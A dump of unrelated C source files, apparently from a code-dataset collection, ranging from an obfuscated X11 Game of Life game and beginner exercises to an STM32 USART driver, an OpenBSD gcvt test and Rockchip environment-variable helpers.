#include <X11/Xlib.h> #include <X11/keysym.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <stdio.h> #define B(x, y)(x *48+y) #define L for( d=0; d<48 ; ++d)for(e=0; e<48; ++e) #define C(x , y ) ( 1 << B ((x) , (y) ) % 8 ) #define A(x,y )((c.c.c[B ((x),(y))/8]&C(x,y))?1:0) #define R(d ) freopen ( d , "r" , stdin ) ; f\ read ( & c . c , 288 , 1 , stdin ) ; #define S( b ) ( b ) ? ( c.d.c [ B( d , e) / 8 ]|\ =C ( d , e ) ) : ( c.d.c [B(d,e)/ 8]&= ~(C (d,e))) int a,b,d,e,f,s; struct{ struct{ char c[288]; } c, d; int f, g, a, b ; } c; void h(int a,int b){ if(! (a==(f=b)||(a%2&&b%2))){ if(b==2){ R("splash.d") } else if ( b == 4 ) { R ( "dead.d" )} else{ L S(0); c.c=c.d; } c.f=1000; c.b =240; c.g =1; c.a =0; } } int main (){ Display *i= XOpenDisplay(0); Window q = XCreateSimpleWindow(i, RootWindow ( i , s = DefaultScreen(i)),40,40, 640,480,3,0,0); Pixmap u= XCreatePixmap (i,q ,640, 480,a=DefaultDepth(i,s)), p=XCreatePixmap (i,q,20, 100,a); GC g=DefaultGC(i, s ) ; XGCValues W, B ; XEvent v ; long k ; XSelectInput ( i , q , KeyPressMask|KeyReleaseM\ ask ); XMapWindow (i,q); W.foreground = WhitePixel (i, s) ; B. foreground = BlackPixel ( i, s ) ; R ( "sprites.d") L{ XChangeGC (i,g,GCForeground,A(d,e)? &B:&W); if(e<20) if(d<20) XDrawPoint(i, p,g, d,e ); else if ( d < 25 ) XFillRectangle(i,p,g,4*(d -20) ,20 + 4*e, 4, 4 ); } srand( time(0 )); h(0,2); while(usleep (16666), f){ while ( XPending ( i) ) { XNextEvent (i,&v); h(f,v. type == KeyPress ? (( k = XLookupKeysym(& v.xkey,0) )==XK_q?0:(k==XK_Up?(f==4 ?f:3):(k== XK_Down?(f==4? f:5):(f==2?1:( f==4?2:f)) ))):( v.type==KeyRelease? (( k = XLookupKeysym( &v. xkey,0))== XK_Up?(f==3?1: f): (f==5?1:f)):f)); } if (!c.g){ L{ for(k=0, a=-1; a<2; ++a)if(d+a>=0&&d+a< 48)for(b=-1; b<2; ++b)if( e+b>=0&&e+b< 48)k+=(a||b) &&A(d+a,e+b); S(A(d,e)?k ==2||k==3:k==3); } c.c=c. d; } c.g= ++c.g% (f%2?30: 120); c.f +=2; c.a+=f%2? c.f/1000:0; c.b+=f==3?-2: (f==5?2:0); a=c.a>159?-8: 0; b=c.b>399?-8:(c.b<81? 8:0); c.a=a?0:c.a; c.b=b? 240:c.b; L S(((d-a>=0)&&( d-a<48)&&(e-b>=0)&&(e-b< 48))?A(d-a,e-b):((rand()% 8 ) == 1 )) ; c.c = c.d ; XFillRectangle(i,u,g,0,0 ,640, 480); L{ if A( d,e) XCopyArea(i,p,u,g,0,0,20, 20,d*20-c.a,e*20-c.b); } if( f%2){ for(d=c.a+ 100; d<c.a+120; ++d)for(e=c.b+ 248 ; e < c.b +268; ++e) if A (d/20, e/ 20) h( f, 4 ); XCopyArea( i, p, u, g, 0,20 *(c .g /8+1),20, 20 , 100 , 248 ) ; } XCopyArea( i,u, q,g,0,0, 640, 480, 0, 0 ) ; } }
the_stack_data/82950468.c
/*Exercise 4 - Functions Implement the three functions minimum(), maximum() and multiply() below the main() function. Do not change the code given in the main() function when you are implementing your solution.*/ #include <stdio.h> int minimum(int x, int y); int maximum(int x, int y); int multiply(int x, int y); int main() { int no1, no2; printf("Enter a value for no 1 : "); scanf("%d", &no1); printf("Enter a value for no 2 : "); scanf("%d", &no2); printf("%d ", minimum(no1, no2)); printf("%d ", maximum(no1, no2)); printf("%d ", multiply(no1, no2)); return 0; } int minimum(int x, int y) { if(x<y) { return x; } else { return y; } } int maximum(int x, int y) { if(x>y) { return x; } else { return y; } } int multiply(int x, int y) { return x*y; }
the_stack_data/32949354.c
/** ****************************************************************************** * @file stm32f7xx_ll_usart.c * @author MCD Application Team * @brief USART LL module driver. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2017 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ #if defined(USE_FULL_LL_DRIVER) /* Includes ------------------------------------------------------------------*/ #include "stm32f7xx_ll_usart.h" #include "stm32f7xx_ll_rcc.h" #include "stm32f7xx_ll_bus.h" #ifdef USE_FULL_ASSERT #include "stm32_assert.h" #else #define assert_param(expr) ((void)0U) #endif /** @addtogroup STM32F7xx_LL_Driver * @{ */ #if defined (USART1) || defined (USART2) || defined (USART3) || defined (USART6) || defined (UART4) || defined (UART5) || defined (UART7) || defined (UART8) /** @addtogroup USART_LL * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private constants ---------------------------------------------------------*/ /** @addtogroup USART_LL_Private_Constants * @{ */ /** * @} */ /* Private macros ------------------------------------------------------------*/ /** @addtogroup USART_LL_Private_Macros * @{ */ /* __BAUDRATE__ The maximum Baud Rate is derived from the maximum clock available * divided by the smallest oversampling used on the USART (i.e. 8) */ #define IS_LL_USART_BAUDRATE(__BAUDRATE__) ((__BAUDRATE__) <= 27000000U) /* __VALUE__ In case of oversampling by 16 and 8, BRR content must be greater than or equal to 16d. */ #define IS_LL_USART_BRR_MIN(__VALUE__) ((__VALUE__) >= 16U) /* __VALUE__ BRR content must be lower than or equal to 0xFFFF. */ #define IS_LL_USART_BRR_MAX(__VALUE__) ((__VALUE__) <= 0x0000FFFFU) #define IS_LL_USART_DIRECTION(__VALUE__) (((__VALUE__) == LL_USART_DIRECTION_NONE) \ || ((__VALUE__) == LL_USART_DIRECTION_RX) \ || ((__VALUE__) == LL_USART_DIRECTION_TX) \ || ((__VALUE__) == LL_USART_DIRECTION_TX_RX)) #define IS_LL_USART_PARITY(__VALUE__) (((__VALUE__) == LL_USART_PARITY_NONE) \ || ((__VALUE__) == LL_USART_PARITY_EVEN) \ || ((__VALUE__) == LL_USART_PARITY_ODD)) #define IS_LL_USART_DATAWIDTH(__VALUE__) (((__VALUE__) == LL_USART_DATAWIDTH_7B) \ || ((__VALUE__) == LL_USART_DATAWIDTH_8B) \ || ((__VALUE__) == LL_USART_DATAWIDTH_9B)) #define IS_LL_USART_OVERSAMPLING(__VALUE__) (((__VALUE__) == LL_USART_OVERSAMPLING_16) \ || ((__VALUE__) == LL_USART_OVERSAMPLING_8)) #define IS_LL_USART_LASTBITCLKOUTPUT(__VALUE__) (((__VALUE__) == LL_USART_LASTCLKPULSE_NO_OUTPUT) \ || ((__VALUE__) == LL_USART_LASTCLKPULSE_OUTPUT)) #define IS_LL_USART_CLOCKPHASE(__VALUE__) (((__VALUE__) == LL_USART_PHASE_1EDGE) \ || ((__VALUE__) == LL_USART_PHASE_2EDGE)) #define IS_LL_USART_CLOCKPOLARITY(__VALUE__) (((__VALUE__) == LL_USART_POLARITY_LOW) \ || ((__VALUE__) == LL_USART_POLARITY_HIGH)) #define IS_LL_USART_CLOCKOUTPUT(__VALUE__) (((__VALUE__) == LL_USART_CLOCK_DISABLE) \ || ((__VALUE__) == LL_USART_CLOCK_ENABLE)) #define IS_LL_USART_STOPBITS(__VALUE__) (((__VALUE__) == LL_USART_STOPBITS_0_5) \ || ((__VALUE__) == LL_USART_STOPBITS_1) \ || ((__VALUE__) == LL_USART_STOPBITS_1_5) \ || ((__VALUE__) == LL_USART_STOPBITS_2)) #define IS_LL_USART_HWCONTROL(__VALUE__) (((__VALUE__) == LL_USART_HWCONTROL_NONE) \ || ((__VALUE__) == LL_USART_HWCONTROL_RTS) \ || ((__VALUE__) == LL_USART_HWCONTROL_CTS) \ || ((__VALUE__) == LL_USART_HWCONTROL_RTS_CTS)) /** * @} */ /* Private function prototypes -----------------------------------------------*/ /* Exported functions --------------------------------------------------------*/ /** @addtogroup USART_LL_Exported_Functions * @{ */ /** @addtogroup USART_LL_EF_Init * @{ */ /** * @brief De-initialize USART registers (Registers restored to their default values). * @param USARTx USART Instance * @retval An ErrorStatus enumeration value: * - SUCCESS: USART registers are de-initialized * - ERROR: USART registers are not de-initialized */ ErrorStatus LL_USART_DeInit(USART_TypeDef *USARTx) { ErrorStatus status = SUCCESS; /* Check the parameters */ assert_param(IS_UART_INSTANCE(USARTx)); if (USARTx == USART1) { /* Force reset of USART clock */ LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_USART1); /* Release reset of USART clock */ LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_USART1); } else if (USARTx == USART2) { /* Force reset of USART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_USART2); /* Release reset of USART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_USART2); } else if (USARTx == USART3) { /* Force reset of USART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_USART3); /* Release reset of USART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_USART3); } else if (USARTx == USART6) { /* Force reset of USART clock */ LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_USART6); /* Release reset of USART clock */ LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_USART6); } else if (USARTx == UART4) { /* Force reset of UART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_UART4); /* Release reset of UART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_UART4); } else if (USARTx == UART5) { /* Force reset of UART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_UART5); /* Release reset of UART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_UART5); } else if (USARTx == UART7) { /* Force reset of UART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_UART7); /* Release reset of UART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_UART7); } else if (USARTx == UART8) { /* Force reset of UART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_UART8); /* Release reset of UART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_UART8); } else { status = ERROR; } return (status); } /** * @brief Initialize USART registers according to the specified * parameters in USART_InitStruct. * @note As some bits in USART configuration registers can only be written when the USART is disabled (USART_CR1_UE bit =0), * USART IP should be in disabled state prior calling this function. Otherwise, ERROR result will be returned. * @note Baud rate value stored in USART_InitStruct BaudRate field, should be valid (different from 0). * @param USARTx USART Instance * @param USART_InitStruct pointer to a LL_USART_InitTypeDef structure * that contains the configuration information for the specified USART peripheral. * @retval An ErrorStatus enumeration value: * - SUCCESS: USART registers are initialized according to USART_InitStruct content * - ERROR: Problem occurred during USART Registers initialization */ ErrorStatus LL_USART_Init(USART_TypeDef *USARTx, LL_USART_InitTypeDef *USART_InitStruct) { ErrorStatus status = ERROR; uint32_t periphclk = LL_RCC_PERIPH_FREQUENCY_NO; /* Check the parameters */ assert_param(IS_UART_INSTANCE(USARTx)); assert_param(IS_LL_USART_BAUDRATE(USART_InitStruct->BaudRate)); assert_param(IS_LL_USART_DATAWIDTH(USART_InitStruct->DataWidth)); assert_param(IS_LL_USART_STOPBITS(USART_InitStruct->StopBits)); assert_param(IS_LL_USART_PARITY(USART_InitStruct->Parity)); assert_param(IS_LL_USART_DIRECTION(USART_InitStruct->TransferDirection)); assert_param(IS_LL_USART_HWCONTROL(USART_InitStruct->HardwareFlowControl)); assert_param(IS_LL_USART_OVERSAMPLING(USART_InitStruct->OverSampling)); /* USART needs to be in disabled state, in order to be able to configure some bits in CRx registers */ if (LL_USART_IsEnabled(USARTx) == 0U) { /*---------------------------- USART CR1 Configuration --------------------- * Configure USARTx CR1 (USART Word Length, Parity, Mode and Oversampling bits) with parameters: * - DataWidth: USART_CR1_M bits according to USART_InitStruct->DataWidth value * - Parity: USART_CR1_PCE, USART_CR1_PS bits according to USART_InitStruct->Parity value * - TransferDirection: USART_CR1_TE, USART_CR1_RE bits according to USART_InitStruct->TransferDirection value * - Oversampling: USART_CR1_OVER8 bit according to USART_InitStruct->OverSampling value. */ MODIFY_REG(USARTx->CR1, (USART_CR1_M | USART_CR1_PCE | USART_CR1_PS | USART_CR1_TE | USART_CR1_RE | USART_CR1_OVER8), (USART_InitStruct->DataWidth | USART_InitStruct->Parity | USART_InitStruct->TransferDirection | USART_InitStruct->OverSampling)); /*---------------------------- USART CR2 Configuration --------------------- * Configure USARTx CR2 (Stop bits) with parameters: * - Stop Bits: USART_CR2_STOP bits according to USART_InitStruct->StopBits value. * - CLKEN, CPOL, CPHA and LBCL bits are to be configured using LL_USART_ClockInit(). */ LL_USART_SetStopBitsLength(USARTx, USART_InitStruct->StopBits); /*---------------------------- USART CR3 Configuration --------------------- * Configure USARTx CR3 (Hardware Flow Control) with parameters: * - HardwareFlowControl: USART_CR3_RTSE, USART_CR3_CTSE bits according to USART_InitStruct->HardwareFlowControl value. */ LL_USART_SetHWFlowCtrl(USARTx, USART_InitStruct->HardwareFlowControl); /*---------------------------- USART BRR Configuration --------------------- * Retrieve Clock frequency used for USART Peripheral */ if (USARTx == USART1) { periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART1_CLKSOURCE); } else if (USARTx == USART2) { periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART2_CLKSOURCE); } else if (USARTx == USART3) { periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART3_CLKSOURCE); } else if (USARTx == USART6) { periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART6_CLKSOURCE); } else if (USARTx == UART4) { periphclk = LL_RCC_GetUARTClockFreq(LL_RCC_UART4_CLKSOURCE); } else if (USARTx == UART5) { periphclk = LL_RCC_GetUARTClockFreq(LL_RCC_UART5_CLKSOURCE); } else if (USARTx == UART7) { periphclk = LL_RCC_GetUARTClockFreq(LL_RCC_UART7_CLKSOURCE); } else if (USARTx == UART8) { periphclk = LL_RCC_GetUARTClockFreq(LL_RCC_UART8_CLKSOURCE); } else { /* Nothing to do, as error code is already assigned to ERROR value */ } /* Configure the USART Baud Rate : - valid baud rate value (different from 0) is required - Peripheral clock as returned by RCC service, should be valid (different from 0). */ if ((periphclk != LL_RCC_PERIPH_FREQUENCY_NO) && (USART_InitStruct->BaudRate != 0U)) { status = SUCCESS; LL_USART_SetBaudRate(USARTx, periphclk, USART_InitStruct->OverSampling, USART_InitStruct->BaudRate); /* Check BRR is greater than or equal to 16d */ assert_param(IS_LL_USART_BRR_MIN(USARTx->BRR)); /* Check BRR is greater than or equal to 16d */ assert_param(IS_LL_USART_BRR_MAX(USARTx->BRR)); } } /* Endif (=> USART not in Disabled state => return ERROR) */ return (status); } /** * @brief Set each @ref LL_USART_InitTypeDef field to default value. * @param USART_InitStruct pointer to a @ref LL_USART_InitTypeDef structure * whose fields will be set to default values. * @retval None */ void LL_USART_StructInit(LL_USART_InitTypeDef *USART_InitStruct) { /* Set USART_InitStruct fields to default values */ USART_InitStruct->BaudRate = 9600U; USART_InitStruct->DataWidth = LL_USART_DATAWIDTH_8B; USART_InitStruct->StopBits = LL_USART_STOPBITS_1; USART_InitStruct->Parity = LL_USART_PARITY_NONE ; USART_InitStruct->TransferDirection = LL_USART_DIRECTION_TX_RX; USART_InitStruct->HardwareFlowControl = LL_USART_HWCONTROL_NONE; USART_InitStruct->OverSampling = LL_USART_OVERSAMPLING_16; } /** * @brief Initialize USART Clock related settings according to the * specified parameters in the USART_ClockInitStruct. * @note As some bits in USART configuration registers can only be written when the USART is disabled (USART_CR1_UE bit =0), * USART IP should be in disabled state prior calling this function. Otherwise, ERROR result will be returned. * @param USARTx USART Instance * @param USART_ClockInitStruct pointer to a @ref LL_USART_ClockInitTypeDef structure * that contains the Clock configuration information for the specified USART peripheral. * @retval An ErrorStatus enumeration value: * - SUCCESS: USART registers related to Clock settings are initialized according to USART_ClockInitStruct content * - ERROR: Problem occurred during USART Registers initialization */ ErrorStatus LL_USART_ClockInit(USART_TypeDef *USARTx, LL_USART_ClockInitTypeDef *USART_ClockInitStruct) { ErrorStatus status = SUCCESS; /* Check USART Instance and Clock signal output parameters */ assert_param(IS_UART_INSTANCE(USARTx)); assert_param(IS_LL_USART_CLOCKOUTPUT(USART_ClockInitStruct->ClockOutput)); /* USART needs to be in disabled state, in order to be able to configure some bits in CRx registers */ if (LL_USART_IsEnabled(USARTx) == 0U) { /*---------------------------- USART CR2 Configuration -----------------------*/ /* If Clock signal has to be output */ if (USART_ClockInitStruct->ClockOutput == LL_USART_CLOCK_DISABLE) { /* Deactivate Clock signal delivery : * - Disable Clock Output: USART_CR2_CLKEN cleared */ LL_USART_DisableSCLKOutput(USARTx); } else { /* Ensure USART instance is USART capable */ assert_param(IS_USART_INSTANCE(USARTx)); /* Check clock related parameters */ assert_param(IS_LL_USART_CLOCKPOLARITY(USART_ClockInitStruct->ClockPolarity)); assert_param(IS_LL_USART_CLOCKPHASE(USART_ClockInitStruct->ClockPhase)); assert_param(IS_LL_USART_LASTBITCLKOUTPUT(USART_ClockInitStruct->LastBitClockPulse)); /*---------------------------- USART CR2 Configuration ----------------------- * Configure USARTx CR2 (Clock signal related bits) with parameters: * - Enable Clock Output: USART_CR2_CLKEN set * - Clock Polarity: USART_CR2_CPOL bit according to USART_ClockInitStruct->ClockPolarity value * - Clock Phase: USART_CR2_CPHA bit according to USART_ClockInitStruct->ClockPhase value * - Last Bit Clock Pulse Output: USART_CR2_LBCL bit according to USART_ClockInitStruct->LastBitClockPulse value. */ MODIFY_REG(USARTx->CR2, USART_CR2_CLKEN | USART_CR2_CPHA | USART_CR2_CPOL | USART_CR2_LBCL, USART_CR2_CLKEN | USART_ClockInitStruct->ClockPolarity | USART_ClockInitStruct->ClockPhase | USART_ClockInitStruct->LastBitClockPulse); } } /* Else (USART not in Disabled state => return ERROR */ else { status = ERROR; } return (status); } /** * @brief Set each field of a @ref LL_USART_ClockInitTypeDef type structure to default value. * @param USART_ClockInitStruct pointer to a @ref LL_USART_ClockInitTypeDef structure * whose fields will be set to default values. * @retval None */ void LL_USART_ClockStructInit(LL_USART_ClockInitTypeDef *USART_ClockInitStruct) { /* Set LL_USART_ClockInitStruct fields with default values */ USART_ClockInitStruct->ClockOutput = LL_USART_CLOCK_DISABLE; USART_ClockInitStruct->ClockPolarity = LL_USART_POLARITY_LOW; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */ USART_ClockInitStruct->ClockPhase = LL_USART_PHASE_1EDGE; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */ USART_ClockInitStruct->LastBitClockPulse = LL_USART_LASTCLKPULSE_NO_OUTPUT; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */ } /** * @} */ /** * @} */ /** * @} */ #endif /* USART1 || USART2 || USART3 || USART6 || UART4 || UART5 || UART7 || UART8 */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
the_stack_data/25139004.c
#include<stdio.h> #include<stdlib.h> #include<limits.h> int ans[1000], min = INT_MAX, opcount1 = 0, opcount2 = 0; void swap(int *a, int *b) { int temp = *a; *a = *b; *b = temp; } void permute(int r, int arr[][r + 1], int per[], int l) { int i; if (l == r) { int sum = 0; for (i = 0; i <= r; i++) { opcount2++; int idx = per[i]; sum += arr[i][idx]; } if (sum < min) { for (i = 0; i <= r; i++) { int idx = per[i]; ans[i] = arr[i][per[i]]; } min = sum; } } else { for (i = l; i <= r; i++) { opcount1++; swap((per + l), (per + i)); permute(r, arr, per, l + 1); swap((per + l), (per + i)); } } } int main() { int i, j, n; printf("Enter the size of the square matrix : "); scanf("%d", &n); int arr[n][n]; printf("Enter the matrix : \n"); for (i = 0; i < n; i++) { for (j = 0; j < n; j++) scanf("%d", &arr[i][j]); // arr[i][j]=1; } int per[n]; for (i = 0; i < n; i++) per[i] = i; permute(n - 1, arr, per, 0); printf("Combination for minimum cost : "); for (i = 0; i < n; i++) printf("%d ", ans[i]); printf("\nThe Minimum Cost is : %d\n", min); printf("Opcount = %d\n", opcount1 > opcount2 ? opcount1 : opcount2); return 0; }
the_stack_data/40954.c
#include <errno.h> #include <sys/time.h> int nanosleep(const struct timespec *rqtp, struct timespec *rmtp) { errno = ENOSYS; return -1; }
the_stack_data/14199319.c
/* $OpenBSD$ */ /* * Public domain, 2010, Todd C. Miller <[email protected]> */ #include <stdio.h> #include <stdlib.h> #include <string.h> static struct test_vector { double d; int ndig; char *expect; } test_vectors[] = { /* adapted from perl's Configure test */ { 0.1, 8, "0.1" }, { 0.01, 8, "0.01" }, { 0.001, 8, "0.001" }, { 0.0001, 8, "0.0001" }, { 0.00009, 8, "9e-05" }, { 1.0, 8, "1" }, { 1.1, 8, "1.1" }, { 1.01, 8, "1.01" }, { 1.001, 8, "1.001" }, { 1.0001, 8, "1.0001" }, { 1.00001, 8, "1.00001" }, { 1.000001, 8, "1.000001" }, { 0.0, 8, "0" }, { -1.0, 8, "-1" }, { 100000.0, 8, "100000" }, { -100000.0, 8, "-100000" }, { 123.456, 8, "123.456" }, { 1e34, 8, "1e+34" }, /* adapted from emx */ { 0.0, -1, "0" }, { 0.0, 0, "0" }, { 0.0, 1, "0" }, { 0.0, 2, "0" }, { 1.0, -1, "1" }, { 1.0, 0, "1" }, { 1.0, 2, "1" }, { 1.0, 10, "1" }, { 1.236, -1, "1.236" }, { 1.236, 0, "1" }, { 1.236, 1, "1" }, { 1.236, 2, "1.2" }, { 1.236, 3, "1.24" }, { 1.236, 4, "1.236" }, { 1.236, 5, "1.236" }, { 1.236, 6, "1.236" }, { 12.36, -1, "12.36" }, { 12.36, 0, "1e+01" }, { 12.36, 1, "1e+01" }, { 12.36, 2, "12" }, { 12.36, 3, "12.4" }, { 12.36, 4, "12.36" }, { 12.36, 5, "12.36" }, { 12.36, 6, "12.36" }, { 123.6, -1, "123.6" }, { 123.6, 0, "1e+02" }, { 123.6, 1, "1e+02" }, { 123.6, 2, "1.2e+02" }, { 123.6, 3, "124" }, { 123.6, 4, "123.6" }, { 123.6, 5, "123.6" }, { 123.6, 6, "123.6" }, { 1236.0, -1, "1236" }, { 1236.0, 0, "1e+03" }, { 1236.0, 1, "1e+03" }, { 1236.0, 2, "1.2e+03" }, { 1236.0, 3, "1.24e+03" }, { 1236.0, 4, "1236" }, { 1236.0, 5, "1236" }, { 1236.0, 6, "1236" }, { 1e100, 10, "1e+100" }, { 1e100, 20, "1.0000000000000000159e+100" }, { 0.01236, -1, "0.01236" }, { 0.01236, 0, "0.01" }, { 0.01236, 1, "0.01" }, { 0.01236, 2, "0.012" }, { 0.01236, 3, "0.0124" }, { 0.01236, 4, "0.01236" }, { 1e-100, 20, "1.00000000000000002e-100" }, { 1e-100, -1, "1e-100" }, { -1.2, 5, "-1.2" }, { -0.03, 5, "-0.03" }, { 0.1, 1, "0.1" }, { 0.1, 0, "0.1" }, { 0.099999, 10, "0.099999" }, { 0.99999, 10, "0.99999" }, }; #define NTESTVEC (sizeof(test_vectors) / sizeof(test_vectors[0])) static int dotest(struct test_vector *tv) { char buf[256], *got; got = gcvt(tv->d, tv->ndig, buf); if (strcmp(tv->expect, got) != 0) { fprintf(stderr, "%g @ %d: expected %s, got %s\n", tv->d, tv->ndig, tv->expect, got); return 1; } return 0; } int main(int argc, char *argv[]) { int i, failures = 0; for (i = 0; i < NTESTVEC; i++) { failures += dotest(&test_vectors[i]); } return failures; }
the_stack_data/90766031.c
#include <stdio.h> int main(void) { int n,i,j=-1,sn=0,se=0,so=0; printf("How many integer numbers to be taken? "); scanf("%d",&n); int num[n]; for(i=0;i<n;i++) { scanf("%d",&num[i]); if(num[i]<0) sn=sn+num[i]; else { if(num[i]==0) {j=0;break;} else if(num[i]%2==0) se=se+num[i]; else so=so+num[i]; } } if(j==0) printf("\nSorry! You have given the input 0 which could not be classified.\n"); else printf("\nSum of negative numbers= %d\nSum of positive even numbers= %d\nSum of positive odd numbers= %d\n",sn,se,so); return 0; }
the_stack_data/111076993.c
/* * Copyright 2015 Rockchip Electronics Co. LTD * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #if defined(_WIN32) #include <stdio.h> #include <stdlib.h> #include "os_env.h" #define ENV_BUF_SIZE_WIN 1024 RK_S32 os_get_env_u32(const char *name, RK_U32 *value, RK_U32 default_value) { char *ptr = getenv(name); if (NULL == ptr) { *value = default_value; } else { char *endptr; int base = (ptr[0] == '0' && ptr[1] == 'x') ? (16) : (10); errno = 0; *value = strtoul(ptr, &endptr, base); if (errno || (ptr == endptr)) { errno = 0; *value = default_value; } } return 0; } RK_S32 os_get_env_str(const char *name, const char **value, const char *default_value) { *value = getenv(name); if (NULL == *value) { *value = default_value; } return 0; } RK_S32 os_set_env_u32(const char *name, RK_U32 value) { char buf[ENV_BUF_SIZE_WIN]; _snprintf(buf, sizeof(buf), "%s=%lu", name, value); return _putenv(buf); } RK_S32 os_set_env_str(const char *name, char *value) { char buf[ENV_BUF_SIZE_WIN]; _snprintf(buf, sizeof(buf), "%s=%s", name, value); return _putenv(buf); } #endif
the_stack_data/31388264.c
//tipos de datos #include <stdio.h> int main (){ char a = 'e'; //tam=1byte rango:0a255 las comillas simples se ponen con alt+39 short b = -15; //tam=2bytes rango:-128a127 int c = 1024; //tam=2bytes rango -32768a32767 unsigned int d = 128; //2bytes rango 0a65535 long e = 123456; //tam=4bytes rango -2147483648a2147483637 //importante: para imprimir long se usa %li float f = 15.678; //tam=4bytes double m = 123123.123123; //tam=8bytes //importante para imprimir double se usa %lf printf("El elemento es: %lf",m); return 0; }
the_stack_data/106269.c
/*Exercise 2 - Selection Write a program to calculate the amount to be paid for a rented vehicle. • Input the distance the van has travelled • The first 30 km is at a rate of 50/= per km. • The remaining distance is calculated at the rate of 40/= per km. e.g. Distance -> 20 Amount = 20 x 50 = 1000 Distance -> 50 Amount = 30 x 50 + (50-30) x 40 = 2300*/ #include <stdio.h> int main() { float distance, amount; printf("Enter the distance the van has travelled:"); scanf("%f",&distance); if(distance<=30) { amount=50*distance; printf("Amount is %.2f",amount); } else { amount=(30*50)+(distance-30)*40; printf("Amount is %.2f",amount); } return 0; }
the_stack_data/48576332.c
// // Created by zhangrongxiang on 2018/2/1 15:14 // File iscntrl // #include <stdio.h> #include <ctype.h> #include <locale.h> int main() { unsigned char c = '\x94'; // ISO-8859-1 的控制码 CCH printf("In the default C locale, \\x94 is %sa control character\n", iscntrl(c) ? "" : "not "); //In the default C locale, \x94 is not a control character setlocale(LC_ALL, "en_GB.iso88591"); printf("In ISO-8859-1 locale, \\x94 is %sa control character\n", iscntrl(c) ? "" : "not "); int i = 0; char str[] = "first line \n second line \n"; while (!iscntrl(str[i])) { putchar(str[i]); i++; } //first line return 0; }
the_stack_data/184518113.c
#include <stdio.h> #define MAXLON 80 int main(void){ char a[MAXLON+1]; int i; printf("Introduce una cadena (max. %d cars): ", MAXLON); gets(a); i = 0; while(a[i] != '\0'){ i++; } printf("Longitud de la cadena: %d\n", i); return 0; }
the_stack_data/153267296.c
#include <stdio.h> int add(int a, int b) { return a + b; } int main(void) { int i, sum; for (i = 0; i < 3 ; i++){ sum = add(i, i + 1); printf("%d\n", sum); } }
the_stack_data/202019.c
void main() { short int s = 0; short int a = 9; short int b = -2; s = a + b; s = s + 1; }
the_stack_data/85607.c
